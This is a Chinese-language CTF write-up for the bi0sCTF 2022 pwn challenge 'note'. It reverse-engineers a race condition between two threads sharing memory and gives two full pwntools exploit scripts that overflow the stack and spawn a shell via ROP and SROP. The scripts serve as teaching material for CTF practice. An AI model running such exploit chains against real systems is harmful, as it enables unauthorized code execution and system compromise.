2022 bi0sCTF Pwn note

64 位 ELF, 没开 PIE, 没有 cannary.

逆向出的 Note 如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
struct __attribute__((aligned(4))) Note
{
  __int64 id;
  char name[16];
  int size;
  _BYTE used;
  _BYTE sent;
  _BYTE reversed[1024];
  _BYTE content[1023];
};

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  pthread_t newthread[2]; // [rsp+0h] [rbp-30h] BYREF
  Note *s; // [rsp+18h] [rbp-18h]
  int shmid; // [rsp+24h] [rbp-Ch]
  key_t key; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]

  Init();
  art();
  alarm(0x3Cu);
  key = getpid();
  shmid = shmget(key, 0x800uLL, 950);
  if ( shmid == -1 )
  {
    syscall(1LL, 1LL, "Error in shmget\n", 17LL);
    return 0LL;
  }
  else
  {
    s = (Note *)shmat(shmid, 0LL, 0);
    if ( s != (Note *)-1LL )
    {
      memset(s, 0, 0x800uLL);
      s->sent = 0;
      if ( pthread_create(newthread, 0LL, start_routine, s) )
        syscall(1LL, 1LL, "Error in creating thread 1\n", 28LL);
      if ( pthread_create(&newthread[1], 0LL, note_system, s) )
        syscall(1LL, 1LL, "Error in creating thread 2\n", 28LL);
      for ( i = 0; i <= 1; ++i )
        pthread_join(newthread[i], 0LL);
      shmdt(s);
      shmctl(shmid, 0, 0LL);
      syscall(1LL, 1LL, "Done!\n", 6LL);
      exit(0);
    }
    syscall(1LL, 1LL, "Error in shmat\n", 16LL);
    return 0LL;
  }
}

main 函数创建了一个共享内存, 新建了两个线程, 两个线程都使用这个内存空间.

note_system 是个菜单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void __fastcall __noreturn note_system(Note *a1)
{
  int v1; // [rsp+1Ch] [rbp-4h] BYREF

  menu();
  while ( 1 )
  {
    syscall(1LL, 1LL, "Enter Choice: ", 14LL);
    __isoc99_scanf("%d", &v1);
    switch ( v1 )
    {
      case 1:
        add(a1);
        break;
      case 2:
        delete(a1);
        break;
      case 3:
        edit_id_and_show_name_content(a1);
        break;
      case 4:
        edit_size_and_name(a1);
        break;
      case 5:
        en_or_de(a1);
        break;
      case 6:
        exit(0);
      default:
        syscall(1LL, 1LL, "Invalid Choice\n", 15LL);
        break;
    }
  }
}

这里只用了一个 Note, 就是传进来的共享内存. 做这题可能用到的有 add 和 edit_id_and_show_name_content 这俩函数, 如下

add:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
void __fastcall add(Note *a1)
{
  syscall(1LL, 1LL, "Enter Note ID: ", 15LL);
  read_and_pagefault((char *)a1, 8u);
  syscall(1LL, 1LL, "Enter Note Name: ", 17LL);
  read_and_pagefault(a1->name, 0x10u);
  syscall(1LL, 1LL, "Enter Note Size: ", 17LL);
  __isoc99_scanf("%d", &a1->size);
  syscall(1LL, 1LL, "Enter Note Content: ", 20LL);
  read_and_pagefault(a1->content, a1->size);
  a1->used = 1;
}

edit_id_and_show_name_content:

1
2
3
4
5
6
7
8
9
void __fastcall edit_id_and_show(Note *a1)
{
  syscall(1LL, 1LL, "Enter Note ID: ", 15LL);
  read_and_pagefault((char *)a1, 8u);
  syscall(1LL, 1LL, "Note Name: ", 11LL);
  syscall(1LL, 1LL, a1->name, 16LL);
  syscall(1LL, 1LL, "Note Content: ", 14LL);
  syscall(1LL, 1LL, a1->content, (unsigned int)a1->size);
}

read_and_pagefault:

1
2
3
4
5
void __fastcall read_and_pagefault(char *a1, unsigned int a2)
{
  syscall(0LL, 0LL, a1, a2);
  syscall(1LL, 1LL, &unk_4022D2, 0LL); // 这个没有可写权限, 所以会触发 pagefault. 不知道为什么写这个在这里
}

start_routine:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void __fastcall __noreturn start_routine(Note *a1)
{
  while ( 1 )
  {
    a1->used = 0;
    while ( a1->used != 1 )
      ;
    send(a1);
    a1->sent = 1;
  }
}

send:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
void __fastcall send(Note *a1)
{
  char dest[64]; // [rsp+10h] [rbp-40h] BYREF

  sleep(2u);
  if ( a1->size >= 65u )
  {
    syscall(1LL, 1LL, "Size Limit Exceeded\n", 20LL);
    exit(0);
  }
  xor2(a1);
  sleep(1u);
  syscall(1LL, 1LL, "Sent!\n", 6LL);
  memcpy(dest, a1->content, a1->size);
}

可以看到, 这个线程不停检查共享的唯一的 Note 的 used 是不是 1, 如果是的话, 就执行下面 send. xor2 是对所有内容进行 xor, 与做题不重要, 就不放了.

send 先检查了 size 是不是小于 64, 然后下面 memcpy 把 content copy 到栈上.

很显然这里存在 条件竞争. 因为两个线程共用同一个贡献内存, 所以在检查过后, 用 add 把 content 和 size 修改掉, 就可以进行溢出了.

这里非常贴心的给了 sleep, 所以我们两次 add 的时间窗口在 2s 多到 3s 多, 就可以在检查完 size 后, 修改 content 和 size 了.

然后就是构造 ROP 链. 找一下 gadget, 发现只有 pop rdi 和 syscall 可以利用. 接下来有两种方法.

程序调用了 libc 中的 syscall 函数, 这个函数的第一个参数是系统调用号, 往后的参数是系统调用参数. 我们可以控制 rdi 为 15, 并且在栈上布置 sigframe, 就可以控制更多的寄存器了. 要 getshell, 就需要调用 execve("/bin/sh", 0, 0), 所以还需要先想办法在已知内存上写 /bin/sh. 写可以用 edit_id_and_show_name_content(addr) 这个函数, 向 addr 上写 8 个字节. rop 链先向 bss 上写 "/bin/sh\0". 然后调用 sigret 系统调用并布置 frame, 将 rdi 设为刚刚写上的地址, rsi, rdx 为 0, rax = 0x3b (execve), rip 为 syscall, 就可以 getshell 了. 需要注意的是, 两个线程都在 IO 上, 这里会有一点竞争, 所以可能需要多写几次多打几次.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)

def add(size, content):
    io.sendlineafter(b'Enter Choice: ', b'1')
    io.sendafter(b'Enter Note ID: ', b'Wings')
    io.sendafter(b'Enter Note Name: ', b'Wings')
    io.sendlineafter(b'Enter Note Size: ', n2b(size))
    io.sendafter(b'Enter Note Content: ', content)

pop_rdi_ret = 0x401bc0
syscall = 0x401bc2
read = 0x401795

buf = 0x00404100

add(6, b'Wings')
sleep(3)

frame = SigreturnFrame()
frame.rip = syscall
frame.rax = 0x3b
frame.rdi = buf
frame.rsi = 0
frame.rdx = 0

payload = flat([
    b'\0' * 0x48,
    p64(pop_rdi_ret),
    p64(buf),
    p64(read),
    p64(pop_rdi_ret),
    p64(15),
    p64(elf.sym['syscall']),
    frame,
])
add(len(payload), payload)
io.sendafter(b'Enter Note ID: ', b'/bin/sh\x00')
io.send(b'/bin/sh\x00')
io.send(b'/bin/sh\x00')
io.interactive()

memcpy 当 size > 0x100 时 (测试出来的, 没经过源码验证, 可能也和 libc 版本有关), 函数结束后会改掉一些寄存器. rsi 的值会变成 src + 一个偏移, rdx 的值会变成 dest + 另一个偏移, rcx 会变成 dest.

在 size = 0x101 的时候, rsi = src + 0x90, rdx = dest + 0x81, rcx = dest, 这三个位置都是可以 content 可以控制的. 同时, 我们有 pop rdi, 有 syscall 函数, 所以可以很轻松实现 syscall(SYS_execve, "/bin/sh", [NULL], [NULL])

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

procname = './pwn'
libcname = './libc.so.6'

io = process(procname, stdin=PTY)
# io = remote()
elf = ELF(procname)

def add(size, content):
    io.sendlineafter(b'Enter Choice: ', b'1')
    io.sendafter(b'Enter Note ID: ', b'Wings')
    io.sendafter(b'Enter Note Name: ', b'Wings')
    io.sendlineafter(b'Enter Note Size: ', n2b(size))
    io.sendafter(b'Enter Note Content: ', content)

pop_rdi_ret = 0x401bc0

add(6, b'Wings')
sleep(3)
payload = flat([
    b'\0' * 0x48,
    p64(pop_rdi_ret),
    p64(0x3b),
    p64(elf.plt['syscall']),
]).ljust(0x90, b'\0') + b'/bin/sh\x00'
add(0x101, payload)
io.interactive()

果然看一遍是没有用的, 没自己做过 SROP 就是想不起来还有这玩意.